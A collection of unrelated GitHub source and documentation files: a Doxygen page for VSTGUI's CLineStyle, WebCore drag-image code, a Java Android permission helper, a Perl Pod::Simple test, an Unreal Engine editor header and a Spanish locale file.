"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.7"/>
<title>VSTGUI: Member List</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
$(window).load(resizeHeight);
</script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { searchBox.OnSelectItem(0); });
</script>
<link href="doxydocu.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">VSTGUI
 <span id="projectnumber">4.4</span>
</div>
<div id="projectbrief">Graphical User Interface Framework not only for VST plugins</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.7 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li><a href="modules.html"><span>Modules</span></a></li>
<li><a href="namespaces.html"><span>Namespaces</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="classes.html"><span>Class Index</span></a></li>
<li><a href="inherits.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
</div><!-- top -->
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
<div id="nav-sync" class="sync"></div>
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
$(document).ready(function(){initNavTree('class_v_s_t_g_u_i_1_1_c_line_style.html','');});
</script>
<div id="doc-content">
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark"> </span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark"> </span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark"> </span>Groups</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark"> </span>Pages</a></div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div class="header">
<div class="headertitle">
<div class="title">CLineStyle Member List</div> </div>
</div><!--header-->
<div class="contents">
<p>This is the complete list of members for <a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a>, including all inherited members.</p>
<table class="directory">
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#aa2023f2a4d7c26a6a95a1d1485307e85">cap</a></td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">protected</span></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#aa8004d72f3fc0907e0d4686ac553a0d5">CLineStyle</a>(LineCap cap=kLineCapButt, LineJoin join=kLineJoinMiter, CCoord dashPhase=0., uint32_t dashCount=0, const CCoord *dashLengths=0)</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a2453491cdc60f2fdba7bfbaeee92fef4">CLineStyle</a>(LineCap cap, LineJoin join, CCoord dashPhase, const CoordVector &dashLengths)</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a76b07966b172f70f51eb7512418b9529">CLineStyle</a>(const CLineStyle &lineStyle)</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#ad34af6de1b2f18d439d3714c9bf1a148">CoordVector</a> typedef</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a0edc383b7770226899adf4b0c25d900e">dashLengths</a></td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">protected</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a52bb628675b5e695b857cac97d59ce3a">dashPhase</a></td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">protected</span></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#ae346f352075ade1ffa2c19ba16596ed6">getDashCount</a>() const </td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a0edc7d7d809221760efb94d838663457">getDashLengths</a>()</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a2a53dfc4e6d490e35310a1fe626b2228">getDashLengths</a>() const </td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a3fdb6d7ffad6eb5f37d6d13a96773b7f">getDashPhase</a>() const </td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#ae2b613c89b67d3118c3c5fcd635f49f9">getLineCap</a>() const </td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#ac68f0907f9ca7e6d3bd3d32a3ccc210d">getLineJoin</a>() const </td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a7267fbe5fb4546135d213bcf9e70edf6">join</a></td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">protected</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a6d67f779dcbc9e19f8bc6cdfbb6c23f8aedd44fa7c69d350b5c8f6970880fcee8">kLineCapButt</a> enum value</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a6d67f779dcbc9e19f8bc6cdfbb6c23f8a84a383af4514621e615252042d692375">kLineCapRound</a> enum value</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a6d67f779dcbc9e19f8bc6cdfbb6c23f8a67bea5eace7de3afee1e2597f4a13d91">kLineCapSquare</a> enum value</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a2846d4aeb2a8c11710f71cdf76e2a1d6a246214295e9d2b079a24ed48e98348de">kLineJoinBevel</a> enum value</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a2846d4aeb2a8c11710f71cdf76e2a1d6a660638e9fb7ae2271bed71dffe764963">kLineJoinMiter</a> enum value</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a2846d4aeb2a8c11710f71cdf76e2a1d6add07e65469bce1231a8f8b2f8fc53085">kLineJoinRound</a> enum value</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a6d67f779dcbc9e19f8bc6cdfbb6c23f8">LineCap</a> enum name</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a2846d4aeb2a8c11710f71cdf76e2a1d6">LineJoin</a> enum name</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#aedb4365f29566b829fd2156fe37bd543">operator!=</a>(const CLineStyle &cls) const </td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#ab9b21cdc120637dddded638616d86704">operator=</a>(const CLineStyle &cls)</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#aa3d91293bb1457edf9efa08f5895cb45">operator==</a>(const CLineStyle &cls) const </td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#a1b79000ae348b1c88f50931eccd35d69">setDashPhase</a>(CCoord phase)</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#aab80703459df03fd5028b6a1f659a68b">setLineCap</a>(LineCap newCap)</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#aa73419fff1f38f83882ff04bcc0e60c3">setLineJoin</a>(LineJoin newJoin)</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"><span class="mlabel">inline</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html#af09035100b74db3739581fd411ee09dd">~CLineStyle</a>()</td><td class="entry"><a class="el" href="class_v_s_t_g_u_i_1_1_c_line_style.html">CLineStyle</a></td><td class="entry"></td></tr>
</table></div><!-- contents -->
</div><!-- doc-content -->
<!-- start footer part -->
<div id="nav-path" class="navpath"><!-- id is needed for treeview function! -->
<ul>
<li class="footer">Generated on Fri Mar 3 2017 10:55:27 for VSTGUI by
<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.8.7 </li>
</ul>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2008, 2009, Google Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Google Inc. nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "DragImage.h"
#include "Image.h"
#include "NativeImageSkia.h"
#include "NotImplemented.h"
#include "RefPtr.h"
#include "SkBitmap.h"
#include "skia/ext/image_operations.h"
namespace WebCore {
IntSize dragImageSize(DragImageRef image)
{
if (!image)
return IntSize();
return IntSize(image->width(), image->height());
}
void deleteDragImage(DragImageRef image)
{
delete image;
}
DragImageRef scaleDragImage(DragImageRef image, FloatSize scale)
{
if (!image)
return 0;
int imageWidth = scale.width() * image->width();
int imageHeight = scale.height() * image->height();
DragImageRef scaledImage = new SkBitmap(
skia::ImageOperations::Resize(*image, skia::ImageOperations::RESIZE_LANCZOS3,
imageWidth, imageHeight));
delete image;
return scaledImage;
}
DragImageRef dissolveDragImageToFraction(DragImageRef image, float fraction)
{
if (!image)
return 0;
image->setIsOpaque(false);
image->lockPixels();
for (int row = 0; row < image->height(); ++row) {
for (int column = 0; column < image->width(); ++column) {
uint32_t* pixel = image->getAddr32(column, row);
*pixel = SkPreMultiplyARGB(SkColorGetA(*pixel) * fraction,
SkColorGetR(*pixel),
SkColorGetG(*pixel),
SkColorGetB(*pixel));
}
}
image->unlockPixels();
return image;
}
DragImageRef createDragImageFromImage(Image* image)
{
if (!image)
return 0;
NativeImageSkia* bitmap = image->nativeImageForCurrentFrame();
if (!bitmap)
return 0;
SkBitmap* dragImage = new SkBitmap();
bitmap->bitmap().copyTo(dragImage, SkBitmap::kARGB_8888_Config);
return dragImage;
}
DragImageRef createDragImageIconForCachedImage(CachedImage*)
{
notImplemented();
return 0;
}
} // namespace WebCore
| {
"pile_set_name": "Github"
} |
--main Mandelbrot
-java bin/java
--next
--main Mandelbrot
-java bin/java-anon
-D anon_objects
| {
"pile_set_name": "Github"
} |
package cn.bearever.mingbase.app.permission;
import androidx.fragment.app.Fragment;
import androidx.fragment.app.FragmentActivity;
/**
* 权限库的入口类,构造一个{@link AsyncPermissionWith}来管理请求。
* 使用示例
* <pre>
* {@code
* AsyncPermission.with(activity)
* .request(Manifest.permission.CAMERA)
* .onAllGranted(new OnAsyncPermissionGrantedListener() {
* @Override
* public void onResult(List<Permission> permissions) {
* //所有的权限都获取成功
* }
* }).onDenied(new OnAsyncPermissionDeniedListener() {
* @Override
* public void onResult(List<Permission> permissions) {
* //有权限获取失败
* }
* });
* }
* </pre>
*
* @author : luoming [email protected]
* @date : 2019/8/13
**/
public class AsyncPermission {
/**
* 请求指定的权限
*
* @param activity 当前的activity
* @return 权限请求构造类
*/
public static AsyncPermissionWith with(FragmentActivity activity) {
return new AsyncPermissionWith(activity);
}
/**
* 请求指定的权限
*
* @param fragment 当前的fragemnt
* @return 权限请求构造类
*/
public static AsyncPermissionWith with(Fragment fragment) {
return new AsyncPermissionWith(fragment);
}
}
| {
"pile_set_name": "Github"
} |
Fragen und Antworten • Re: yacy.net nicht erreichbar
====================================================
Date: 2014-04-10 16:05:44
debian.yacy.net is not yet moved to the new hoster. I will try to do
that soon, hold on.
Statistik: Verfasst von
[Orbiter](http://forum.yacy-websuche.de/memberlist.php?mode=viewprofile&u=2)
--- Do Apr 10, 2014 3:05 pm
------------------------------------------------------------------------
| {
"pile_set_name": "Github"
} |
BEGIN {
if($ENV{PERL_CORE}) {
chdir 't';
@INC = '../lib';
}
}
use strict;
use Pod::Simple::Search;
use Test;
BEGIN { plan tests => 7 }
print "# ", __FILE__,
": Testing the surveying of the current directory...\n";
my $x = Pod::Simple::Search->new;
die "Couldn't make an object!?" unless ok defined $x;
$x->inc(0);
use File::Spec;
use Cwd;
my $cwd = cwd();
print "# CWD: $cwd\n";
sub source_path {
my $file = shift;
if ($ENV{PERL_CORE}) {
require File::Spec;
my $updir = File::Spec->updir;
my $dir = File::Spec->catdir($updir, 'lib', 'Pod', 'Simple', 't');
return File::Spec->catdir ($dir, $file);
} else {
return $file;
}
}
my $here;
if( -e ($here = source_path('testlib1'))) {
chdir $here;
} elsif(-e ($here = File::Spec->catdir($cwd, 't', 'testlib1'))) {
chdir $here;
} else {
die "Can't find the test corpus";
}
print "# OK, found the test corpus as $here\n";
ok 1;
print $x->_state_as_string;
#$x->verbose(12);
use Pod::Simple;
*pretty = \&Pod::Simple::BlackBox::pretty;
my($name2where, $where2name) = $x->survey('.');
my $p = pretty( $where2name, $name2where )."\n";
$p =~ s/, +/,\n/g;
$p =~ s/^/# /mg;
print $p;
{
my $names = join "|", sort values %$where2name;
ok $names, "Blorm|Zonk::Pronk|hinkhonk::Glunk|hinkhonk::Vliff|perlflif|perlthng|squaa|squaa::Glunk|squaa::Vliff|zikzik";
}
{
my $names = join "|", sort keys %$name2where;
ok $names, "Blorm|Zonk::Pronk|hinkhonk::Glunk|hinkhonk::Vliff|perlflif|perlthng|squaa|squaa::Glunk|squaa::Vliff|zikzik";
}
ok( ($name2where->{'squaa'} || 'huh???'), '/squaa\.pm$/');
ok grep( m/squaa\.pm/, keys %$where2name ), 1;
ok 1;
__END__
| {
"pile_set_name": "Github"
} |
// Copyright 1998-2017 Epic Games, Inc. All Rights Reserved.
#pragma once
#include "CoreMinimal.h"
#include "Misc/Attribute.h"
#include "Layout/Visibility.h"
#include "Layout/Margin.h"
#include "Styling/SlateColor.h"
#include "Input/Reply.h"
#include "Widgets/DeclarativeSyntaxSupport.h"
#include "Widgets/SWidget.h"
#include "Widgets/Layout/SBorder.h"
#include "Editor/LandscapeEditor/Private/LandscapeEdMode.h"
#include "IDetailCustomNodeBuilder.h"
#include "IDetailCustomization.h"
#include "AssetThumbnail.h"
#include "Framework/SlateDelegates.h"
#include "Editor/LandscapeEditor/Private/LandscapeEditorDetailCustomization_Base.h"
class FDetailWidgetRow;
class IDetailChildrenBuilder;
class IDetailLayoutBuilder;
class SDragAndDropVerticalBox;
/**
* Slate widgets customizer for the target layers list in the Landscape Editor
*/
class FLandscapeEditorDetailCustomization_TargetLayers : public FLandscapeEditorDetailCustomization_Base
{
public:
/** Makes a new instance of this detail layout class for a specific detail view requesting it */
static TSharedRef<IDetailCustomization> MakeInstance();
/** IDetailCustomization interface */
virtual void CustomizeDetails(IDetailLayoutBuilder& DetailBuilder) override;
protected:
static bool ShouldShowTargetLayers();
static bool ShouldShowPaintingRestriction();
static EVisibility GetVisibility_PaintingRestriction();
static bool ShouldShowVisibilityTip();
static EVisibility GetVisibility_VisibilityTip();
};
class FLandscapeEditorCustomNodeBuilder_TargetLayers : public IDetailCustomNodeBuilder, public TSharedFromThis<FLandscapeEditorCustomNodeBuilder_TargetLayers>
{
public:
FLandscapeEditorCustomNodeBuilder_TargetLayers(TSharedRef<FAssetThumbnailPool> ThumbnailPool, TSharedRef<IPropertyHandle> InTargetDisplayOrderPropertyHandle, TSharedRef<IPropertyHandle> InTargetShowUnusedLayersPropertyHandle);
~FLandscapeEditorCustomNodeBuilder_TargetLayers();
virtual void SetOnRebuildChildren( FSimpleDelegate InOnRegenerateChildren ) override;
virtual void GenerateHeaderRowContent( FDetailWidgetRow& NodeRow ) override;
virtual void GenerateChildContent( IDetailChildrenBuilder& ChildrenBuilder ) override;
virtual void Tick( float DeltaTime ) override {}
virtual bool RequiresTick() const override { return false; }
virtual bool InitiallyCollapsed() const override { return false; }
virtual FName GetName() const override { return "TargetLayers"; }
protected:
TSharedRef<FAssetThumbnailPool> ThumbnailPool;
TSharedRef<IPropertyHandle> TargetDisplayOrderPropertyHandle;
TSharedRef<IPropertyHandle> TargetShowUnusedLayersPropertyHandle;
static class FEdModeLandscape* GetEditorMode();
TSharedPtr<SWidget> GenerateRow(const TSharedRef<FLandscapeTargetListInfo> Target);
static bool GetTargetLayerIsSelected(const TSharedRef<FLandscapeTargetListInfo> Target);
static void OnTargetSelectionChanged(const TSharedRef<FLandscapeTargetListInfo> Target);
static TSharedPtr<SWidget> OnTargetLayerContextMenuOpening(const TSharedRef<FLandscapeTargetListInfo> Target);
static void OnExportLayer(const TSharedRef<FLandscapeTargetListInfo> Target);
static void OnImportLayer(const TSharedRef<FLandscapeTargetListInfo> Target);
static void OnReimportLayer(const TSharedRef<FLandscapeTargetListInfo> Target);
static void OnFillLayer(const TSharedRef<FLandscapeTargetListInfo> Target);
static void FillEmptyLayers(ULandscapeInfo* LandscapeInfo, ULandscapeLayerInfoObject* LandscapeInfoObject);
static void OnClearLayer(const TSharedRef<FLandscapeTargetListInfo> Target);
static bool ShouldFilterLayerInfo(const struct FAssetData& AssetData, FName LayerName);
static void OnTargetLayerSetObject(const FAssetData& AssetData, const TSharedRef<FLandscapeTargetListInfo> Target);
static EVisibility GetTargetLayerInfoSelectorVisibility(const TSharedRef<FLandscapeTargetListInfo> Target);
static bool GetTargetLayerCreateEnabled(const TSharedRef<FLandscapeTargetListInfo> Target);
static EVisibility GetTargetLayerMakePublicVisibility(const TSharedRef<FLandscapeTargetListInfo> Target);
static EVisibility GetTargetLayerDeleteVisibility(const TSharedRef<FLandscapeTargetListInfo> Target);
static TSharedRef<SWidget> OnGetTargetLayerCreateMenu(const TSharedRef<FLandscapeTargetListInfo> Target);
static void OnTargetLayerCreateClicked(const TSharedRef<FLandscapeTargetListInfo> Target, bool bNoWeightBlend);
static FReply OnTargetLayerMakePublicClicked(const TSharedRef<FLandscapeTargetListInfo> Target);
static FReply OnTargetLayerDeleteClicked(const TSharedRef<FLandscapeTargetListInfo> Target);
static FSlateColor GetLayerUsageDebugColor(const TSharedRef<FLandscapeTargetListInfo> Target);
static EVisibility GetDebugModeLayerUsageVisibility(const TSharedRef<FLandscapeTargetListInfo> Target);
static EVisibility GetDebugModeLayerUsageVisibility_Invert(const TSharedRef<FLandscapeTargetListInfo> Target);
static EVisibility GetDebugModeColorChannelVisibility(const TSharedRef<FLandscapeTargetListInfo> Target);
static ECheckBoxState DebugModeColorChannelIsChecked(const TSharedRef<FLandscapeTargetListInfo> Target, int32 Channel);
static void OnDebugModeColorChannelChanged(ECheckBoxState NewCheckedState, const TSharedRef<FLandscapeTargetListInfo> Target, int32 Channel);
// Drag/Drop handling
FReply HandleDragDetected(const FGeometry& MyGeometry, const FPointerEvent& MouseEvent, int32 SlotIndex, SVerticalBox::FSlot* Slot);
TOptional<SDragAndDropVerticalBox::EItemDropZone> HandleCanAcceptDrop(const FDragDropEvent& DragDropEvent, SDragAndDropVerticalBox::EItemDropZone DropZone, SVerticalBox::FSlot* Slot);
FReply HandleAcceptDrop(FDragDropEvent const& DragDropEvent, SDragAndDropVerticalBox::EItemDropZone DropZone, int32 SlotIndex, SVerticalBox::FSlot* Slot);
const FSlateBrush* GetTargetLayerDisplayOrderBrush() const;
TSharedRef<SWidget> GetTargetLayerDisplayOrderButtonMenuContent();
void SetSelectedDisplayOrder(ELandscapeLayerDisplayMode InDisplayOrder);
bool IsSelectedDisplayOrder(ELandscapeLayerDisplayMode InDisplayOrder) const;
TSharedRef<SWidget> GetTargetLayerShowUnusedButtonMenuContent();
void ShowUnusedLayers(bool Result);
bool ShouldShowUnusedLayers(bool Result) const;
EVisibility ShouldShowLayer(TSharedRef<FLandscapeTargetListInfo> Target) const;
};
class SLandscapeEditorSelectableBorder : public SBorder
{
public:
SLATE_BEGIN_ARGS(SLandscapeEditorSelectableBorder)
: _Content()
, _HAlign(HAlign_Fill)
, _VAlign(VAlign_Fill)
, _Padding(FMargin(2.0f))
{ }
SLATE_DEFAULT_SLOT(FArguments, Content)
SLATE_ARGUMENT(EHorizontalAlignment, HAlign)
SLATE_ARGUMENT(EVerticalAlignment, VAlign)
SLATE_ATTRIBUTE(FMargin, Padding)
SLATE_EVENT(FOnContextMenuOpening, OnContextMenuOpening)
SLATE_EVENT(FSimpleDelegate, OnSelected)
SLATE_ATTRIBUTE(bool, IsSelected)
SLATE_END_ARGS()
void Construct(const FArguments& InArgs);
virtual FReply OnMouseButtonUp(const FGeometry& MyGeometry, const FPointerEvent& MouseEvent);
const FSlateBrush* GetBorder() const;
protected:
FOnContextMenuOpening OnContextMenuOpening;
FSimpleDelegate OnSelected;
TAttribute<bool> IsSelected;
};
class FTargetLayerDragDropOp : public FDragAndDropVerticalBoxOp
{
public:
DRAG_DROP_OPERATOR_TYPE(FTargetLayerDragDropOp, FDragAndDropVerticalBoxOp)
TSharedPtr<SWidget> WidgetToShow;
static TSharedRef<FTargetLayerDragDropOp> New(int32 InSlotIndexBeingDragged, SVerticalBox::FSlot* InSlotBeingDragged, TSharedPtr<SWidget> InWidgetToShow);
public:
virtual ~FTargetLayerDragDropOp();
virtual TSharedPtr<SWidget> GetDefaultDecorator() const override;
}; | {
"pile_set_name": "Github"
} |
namespace com.linkedin.data.schema.annotation.denormalizedsource
@customAnnotation="NONE"
typeref typeref1_name=int | {
"pile_set_name": "Github"
} |
es:
dashboard:
alphabetical_collections_and_document_sets:
start_transcribing: "Comenzar a Transcribir"
owned_by: "Por %{author}"
collections_list:
collections: "Colecciones"
meta_description: "Eres libre de elegir entre los muchos proyectos interesantes disponibles en FromThePage. Puedes comenzar leyendo los escritos históricos que ya han sido transcritos por otros miembros. Te invitamos a colaborar en uno de los grandes proyectos de la era digital."
hierarchical_collections_and_document_sets:
start_transcribing: "Comenzar a Transcribir"
landing_page:
previous_image: "Imagen anterior"
next_image: "Siguiente imagen"
transcribe_a_page: "Transcribir una página"
